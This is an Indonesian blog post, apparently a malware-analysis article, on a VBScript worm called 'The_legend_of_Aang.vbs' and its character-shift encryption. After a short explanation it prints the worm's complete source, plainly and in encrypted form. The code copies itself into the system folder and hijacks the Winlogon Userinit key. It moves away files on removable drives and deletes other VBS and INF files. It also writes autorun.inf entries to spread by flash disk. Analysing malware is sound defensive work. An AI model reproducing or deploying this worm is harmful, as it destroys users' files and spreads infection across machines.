Minggu, 14 Februari 2010

Virulogi : worm-scripting dengan teknik enkripsi penuh

By Tri Amperiyanto

Worm (virus) yang dibuat dengan teknik Scripting (memakai VBS) dapat dilihat listing programnya secara langsung.  Tentu saja hal ini merupakan ancaman bagi eksistensi wor, karena pemakai pada akhirnya dapat mematahkan siklus hidup worm.
Pembuat worm tahu persis akan kelemahan ini, maka bermunculanlah metode enkripsi untuk mengamankan listing sesungguhnya. Sehingga pemakai tidak dapat dengan gampang membaca dan memahami isinya.
Artikel ini akan mencermati  satu script real worm terenkripsi, yang bernama The_legend_of_Aang.vbs. Pembahasan tidak akan terlalu detail dan teknis, hanya memberikan keterangan global dari beberapa script.  Untuk pemahaman lebih jauh, silahkan dicermati dan dianalisis sendiri secara mandiri.

Cara kerja

Worm script, pada saat aktif, dengan bantuan fasilitas standar scripting Windows – WSH (windows scripting host)/WSCRIPT atau CSCRIPT,  akan membuat file dengan  nama The_legend_of_Aang.vbs. Seperti lazimnya worm lokal, ia  juga akan membuat file eksekutor (autorun.inf) untuk membantu penyebaran worm via flashdisk.


Inisialisasi awal script

Pertama kali, worm script akan melakukan perintah  standar untuk menangani kesalahan program, berikut  pengaturan beberapa variabel pendukung script.  Lalu script akan menyiapkan variabel yang berisi data-data file pendukung yang dibutuhkan.

Penggandaan diri

Worm Script lalu membuat file data stream untuk dirinya sendiri, untuk proses penggandaan diri (kopi).  Lalu memeriksa keberadaan file dengan nama  The_legend_of_Aang.vbs di folder system. (system atau system32).  Jika tidak ditemukan, file akan dibentuk dengan bantuan datastream yang telah dipersiapkan. Pada tahap ini,  worm akan memanipulasi Registry windows dengan suatu perintah autorun, dengan teknik manipulasi winlogon  userinit.

Pemeriksaan jenis drive

Selanjutnya, script akan menangani setiap drive yang ada pada sistem komputer.  Jika jenis drive sama dengan 1 (= removable) atau 2 (= fixed)  dan pathnya tidak sama dengan A:,   program akan melakukan manipulasi Registry, seperti : mengubah Title  dan Start Page Internet Explorer, mengganti default icon file VBS.
Lalu worm script mencari file VBS lain pada drive removable.  Jika file VBS tersebut tidak bernama The_legend_of_Aang.vbs, maka akan dihapus.  Lalu Worm script membuat suatu folder baru pada  folder system dengan nama RemovableCache.  Seluruh folder yang ada pada path aktif removabke, berikut datanya  akan dipindah ke folder baru tersebut, baru kemudian seluruh folder dan data yang ada pada disk removable akan dihapus. Selanjutnya file dengan nama The_legend_of_Aang.vbs plus file autorun.inf akan dibuat.


Trik pengulangan skrip

Worm Script juga akan menunda proses infeksi, jika jenis drive aktif tidak sama dengan removable  disk, selama beberapa waktu. Lalu melakukan proses perputaran pengulangan script.  Worm ini memang sederhana dan realtif mudah dijinakkan, jika pemakai dapat membaca listing programnya. Celakanya, versi finalnya worm ini dalam modus terenkripsi. Sehingga saat dilihat isi filenya, yang tampak adalah  puluhan baris kosong dan ditengah-tengah file barulah dipasangkan data-data worm yang telah dienkripsi.  Dengan cara ini, pemakai yang tidak berpengalaman akan kebingungan dalam membaca dan mengartikan isi file tersebut.

Gambar 1. isi file worm


Bagaimana enkripsi dilakukan ?

Worm Script melakukan enkripsi data dengan membaca satu persatu karakter dan mengubahnya menjadi kode karakter ASCII dengan perintah ASC.   Kemudian mengubahnya kembali menjadi karakter standar, dengan bantuan perintah CHR dan perintah filtering select .. case…. Setelah semua data di-decoding maka akan disimpan dalam satu variabel.  Variabel tersebut pada akhirnya dieksekusi sehingga skrip vbs akan dijalankan. Petikan logika kodenya sebagai berikut :

Dataworm = “……………………”
dim Tampung
for I=1 to Len(dataworm)
variabel1=asc(mid(dataworm,I,1))
selectcase variabel1
case 215
kasus=chr(34)
case 28
kasus=chr(10)
case 29
kasus=chr(13):
case else
kasus=chr(variabel1+1)
end select
Tampung=Tampung & kasus
Next
execute Tampung


Worm script akan berusaha membingungkan pemakai dalam membaca worm.  Worm akan meletakkan data-data yang telah dienkrip pada awal data program.  Dan variabel penampung data skrip sesungguhnya ( namanya dataworm pada contoh logika di atas) dibuat dengan data alphanumerik acak dan panjang !  variabel dataworm ini pada skrip realnya adalah :

hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd

dengan nama variabel panjang, acak dan tidak mengandung arti tersebut, tentu saja mengakibatkan pembacaan data program worm menjadi bertambah rumit.

Gambar 2. Nama variabel  super panjang (bagian yang diblok)

Setelah nama variabel, di belakang tanda = (sama dengan) barulah diisi dengan data skrip enkrip worm.

Gambar lokasi dari data enkrip sesunguhnya

Lalu, Worm script melakukan reservarsi variabel untuk data penampung  hasil decoding.  Pada logika di atas bernama Tampung.  Pada skrip realnya bernama acak dan tak beraturan. Yaitu :

assfdsagdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd


Gambar membuat variabel penampung data

Selanjutnya, worm script mulai melakukan perulangan dengan perintah  for .. next dengan data sebagai berikut :

for I=1 to Len(hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u
43cbg7nc34icn478cn345cn438cnddd)


Gambar proses looping data

Kemudian proses decoding data enkripsi dilakukan dengan perintah :

YASaFDGsfdgdfgdfhsFGHfdsafdgdfgdfhhFGJHGJGgJjGHJhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn47=asc(mid(hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd,I,1))

Gambar perintah untuk decoding eknkripsi

Demikian seterusnya sampai akhirnya terbentuk seperti “kode logika” di atas.  Bila Anda berminat mencermati listing program, maka Anda harus melakukan decoding sendiri.  Pada awalnya memang terasa sulit namun dengan kesabaran dan ketelatenan dan kebiasaan, saat nanti Anda menemui worm dengan metode enkripsi berbeda, tentu tidak akan mengalami banyak kesulitan dalam mengartikan.

Listing Program 
Listing program berikut ini disajikan secara apa adanya. versi unencrypt dan encrypted.  Cermati dan jangan salah gunakan... !!!   :)

versi unencrypt

'********************   Now AnG is Encrypted    ***************
'**************************************************************
'******************* Call me The legend of Aang ***************


Option Explicit
On Error Resume Next
Dim Fso
Set Fso = CreateObject("Scripting.FileSystemObject")

Dim Shells
Set Shells = CreateObject("Wscript.Shell")

Dim WinDir
Set WinDir = Fso.GetSpecialFolder(0)

Dim SystemDir
Set SystemDir =Fso.GetSpecialFolder(1)

Dim File
Set File = Fso.GetFile(WScript.ScriptFullName)

Dim Drv
Set Drv=File.Drive

Dim InDrive
Set InDrive = Fso.drives

Dim ReadAll,AllFile
Set ReadAll=File.OpenAsTextStream(1,-2)
do while not ReadAll.atendofstream
  AllFile = AllFile & ReadAll.readline & vbcrlf
Loop

Dim Count
Count=Drv.DriveType

Dim WriteAll
Do

If Not Fso.FileExists(SystemDir & "\Aang.vbs") then
  set WriteAll = Fso.CreateTextFile(SystemDir & "\Aang.vbs",2,true)
  WriteAll.Write AllFile
  WriteAll.close
  set WriteAll = Fso.GetFile(SystemDir & "\Aang.vbs")
  WriteAll.Attributes = -1
End If

Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir & "\userinit.exe," & _
SystemDir & "\wscript.exe " & SystemDir & "\Aang.vbs"


Dim Drives
For Each Drives In InDrive

If Drives.DriveType=2 Then
   LookVBS "inf",Drives.Path & "\"
   LookVBS "INF",Drives.Path & "\"
End if 

If Drives.DriveType = 1 Or Drives.DriveType = 2 Then
  If Drives.Path<> "A:" Then
     Shells.Regdelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MS32DLL"
     Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title",""
     Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",""
     Shells.RegWrite "HKCR\vbsfile\DefaultIcon","%SystemRoot%\System32\WScript.exe,2"
     LookVBS "vbs",WinDir & "\"
     LookVBS "vbs",Drives.Path  & "\"
     If Drives.DriveType = 1 Then
        If Drives.Path<>"A:" Then
           If Not Fso.FileExists(Drives.Path & "\The_Legend_Of_Aang.vbs") Then
              set writeall=fso.CreateFolder (SystemDir & "\RemovableCache")
              writeall.close
              set writeall=fso.copyfolder (Drives.path & "\*",SystemDir & "\RemovableCache")
              writeall.close
              set writeall=fso.moveFile (Drives.path & "\*.*",SystemDir & "\RemovableCache")
              writeall.close
              'set writeall=fso.Deletefolder (Drives.path & "\*",2)
              writeall.close
              'set writeall=fso.DeleteFile (Drives.path & "\*.*",2)
              writeall.close
              Set WriteAll=Fso.CreateTextFile(Drives.Path & "\The_Legend_Of_Aang.vbs",2,True)
              WriteAll.Write AllFile
              WriteAll.Close
              Set WriteAll = Fso.GetFile(Drives.Path & "\The_Legend_Of_Aang.vbs")
              WriteAll.Attributes = -1
              writeall.close
           End If
      
           If Fso.FileExists(Drives.Path & "\autorun.inf") Or Fso.FileExists(Drives.Path & "\AUTORUN.INF") Then
              Dim Chg
          Set Chg = Fso.GetFile(Drives.Path & "\autorun.inf")
              Chg.Attributes = -8
           End if
           Set WriteAll = Fso.CreateTextFile(Drives.Path & "\autorun.inf",2,True)
           WriteAll.writeline "[Autorun]" & vbcrlf & "UseAutoplay=1" & vbcrlf & "Icon=%SystemRoot%\system32\SHELL32.dll,7" & vbcrlf & "Shellexecute=wscript.exe The_Legend_Of_Aang.vbs" & vbCrLf & "Shell\OPEN\COMMAND=wscript.exe The_Legend_Of_Aang.vbs"& VbCrlf &"Shell\explore\COMMAND=wscript.exe The_Legend_Of_Aang.vbs" & VbCrLf & "Action=Open folder to view files"
           WriteAll.Close
           Set WriteAll = Fso.GetFile(Drives.Path & "\autorun.inf")
           WriteAll.Attributes = -1
        End If
     End if
  End if 
End If

Next

if Count <> 1 then
   Wscript.sleep 10000
end if

loop while Count<>1


sub LookVBS(File2Find, SrchPath)
    Dim oFileSys, oFolder, oFile,Cut,Delete
    Set oFileSys = CreateObject("Scripting.FileSystemObject")
    Set oFolder = oFileSys.GetFolder(SrchPath)
    For Each oFile In oFolder.Files
      Cut=Right(oFile.Name,3)
      If UCase(Cut)=UCase(file2find) Then
         If oFile.Name <> "The_Legend_Of_Aang.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath & oFile.Name,true)
      End If
   Next
End sub


Versi Encrypted



hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd=" &)))))))))))))))))))) Mnv @mF hr Dmbqxosdc ))))))))))))))) &)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) &))))))))))))))))))) B`kk ld Sgd kdfdmc ne @`mf ))))))))))))))) Noshnm Dwokhbhs Nm Dqqnq Qdrtld Mdws Chl Ern Rds Ern < Bqd`sdNaidbs'!Rbqhoshmf-EhkdRxrsdlNaidbs!( Chl Rgdkkr Rds Rgdkkr < Bqd`sdNaidbs'!Vrbqhos-Rgdkk!( Chl VhmChq Rds VhmChq < Ern-FdsRodbh`kEnkcdq'/( Chl RxrsdlChq Rds RxrsdlChq < Ern-FdsEhkd'VRbqhos-RbqhosEtkkM`ld( Chl Cqu Rds Cqu< Ern-cqhudr Chl Qd`c@kk+@kkEhkd Rds Qd`c@kk< @kkEhkd % Qd`c@kk-qd`ckhmd % uabqke Knno Chl Bntms Bntms< Ern-Bqd`sdSdwsEhkd'RxrsdlChq % ![@`mf-uar!+1+sqtd( Vqhsd@kk-Vqhsd @kkEhkd Vqhsd@kk-bknrd rds Vqhsd@kk < Ern-FdsEhkd'RxrsdlChq % ![@`mf-uar!( Vqhsd@kk-@ssqhatsdr < ,0 Dmc He Rgdkkr-QdfVqhsd !GJKL[Rnesv`qd[Lhbqnrnes[Vhmcnvr MS[BtqqdmsUdqrhnm[Vhmknfnm[Trdqhmhs!+RxrsdlChq % ![trdqhmhs-dwd+! % ^ RxrsdlChq % ![vrbqhos-dwd ! % RxrsdlChq % ![@`mf-uar! Chl Cqhudr Enq D`bg Cqhudr Hm HmCqhud He Cqhudr-CqhudSxod<1 Sgdm KnnjUAR !hme!+Cqhudr-O`sg % ![! KnnjUAR !HME!+Cqhudr-O`sg % ![! Dmc he He Cqhudr-CqhudSxod < 0 Nq Cqhudr-CqhudSxod < 1 Sgdm He Cqhudr-O`sg;= !@9! Sgdm Rgdkkr-Qdfcdkdsd !GJKL[Rnesv`qd[Lhbqnrnes[Vhmcnvr[BtqqdmsUdqrhnm[Qtm[LR21CKK! Rgdkkr-QdfVqhsd !GJBT[Rnesv`qd[Lhbqnrnes[Hmsdqmds Dwoknqdq[L`hm[Vhmcnv Shskd!+!! Rgdkkr-QdfVqhsd !GJBT[Rnesv`qd[Lhbqnrnes[Hmsdqmds Dwoknqdq[L`hm[Rs`qs O`fd!+!! Rgdkkr-QdfVqhsd !GJBQ[uarehkd[Cde`tksHbnm!+!$RxrsdlQnns$[Rxrsdl21[VRbqhos-dwd+1! KnnjUAR !uar!+VhmChq % ![! KnnjUAR !uar!+Cqhudr-O`sg % ![! He Cqhudr-CqhudSxod < 0 Sgdm He Cqhudr-O`sg;=!@9! Sgdm He Mns Ern-EhkdDwhrsr'Cqhudr-O`sg % ![Sgd^Kdfdmc^Ne^@`mf-uar!( Sgdm rds vqhsd`kk< Ern-FdsEhkd'Cqhudr-O`sg % ![Sgd^Kdfdmc^Ne^@`mf-uar!( Vqhsd@kk-@ssqhatsdr < ,0 vqhsd`kk-bknrd Dmc He He Ern-EhkdDwhrsr'Cqhudr-O`sg % ![`tsnqtm-hme!( Nq Ern-EhkdDwhrsr'Cqhudr-O`sg % ![@TSNQTM-HME!( Sgdm Chl Bgf Rds Bgf < Ern-FdsEhkd'Cqhudr-O`sg % ![`tsnqtm-hme!( Bgf-@ssqhatsdr < ,7 Dmc he Rds Vqhsd@kk < Ern-Bqd`sdSdwsEhkd'Cqhudr-O`sg % ![`tsnqtm-hme!+1+Sqtd( Vqhsd@kk-vqhsdkhmd !Z@tsnqtm\! % uabqke % !Trd@tsnok`x<0! % uabqke % !Hbnm<$RxrsdlQnns$[rxrsdl21[RGDKK21-ckk+6! % uabqke % !Rgdkkdwdbtsd< Ern-FdsEhkd'Cqhudr-O`sg % ![`tsnqtm-hme!( Vqhsd@kk-@ssqhatsdr < ,0 Dmc He Dmc he Dmc he Dmc He Mdws he Bntms ;= 0 sgdm Vrbqhos-rkddo 0//// dmc he knno vghkd Bntms;=0 rta KnnjUAR'Ehkd1Ehmc+ RqbgO`sg( Chl nEhkdRxr+ nEnkcdq+ nEhkd+Bts+Cdkdsd Rds nEhkdRxr < Bqd`sdNaidbs'!Rbqhoshmf-EhkdRxrsdlNaidbs!( Rds nEnkcdq < nEhkdRxr-FdsEnkcdq'RqbgO`sg( Enq D`bg nEhkd Hm nEnkcdq-Ehkdr Bts< nEhkdRxr-CdkdsdEhkd'rqbgo`sg % nEhkd-M`ld+sqtd( Dmc He Mdws Dmc rta ":dim assfdsagdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd:for I=1 to Len(hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd):YASaFDGsfdgdfgdfhsFGHfdsafdgdfgdfhhFGJHGJGgJjGHJhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn47=asc(mid(hsndfhhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd,I,1)):select case YASaFDGsfdgdfgdfhsFGHfdsafdgdfgdfhhFGJHGJGgJjGHJhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn47:case 215:asfdgdfgdfhsfdsafdgdfgdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd=chr(34):case 28:asfdgdfgdfhsfdsafdgdfgdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd=chr(10):case 29:asfdgdfgdfhsfdsafdgdfgdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd=chr(13):case else:asfdgdfgdfhsfdsafdgdfgdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd=chr(YASaFDGsfdgdfgdfhsFGHfdsafdgdfgdfhhFGJHGJGgJjGHJhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn47+1):end select:assfdsagdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd=assfdsagdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd & asfdgdfgdfhsfdsafdgdfgdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd:Next:execute assfdsagdfhhgjhgsjnghjhgdfkjhgfghhjjjhinihystdusanicdyustgyufdhvgfuickiuui847u43cbg7nc34icn478cn345cn438cnddd


Note :
Tulisan ini  telah dimuat di majalah CHIP, dengan bahasa yang telah  “diformalkan”.
Tulisan ini adalah versi aslinya !  Semoga berguna dan digunakan

1 komentar: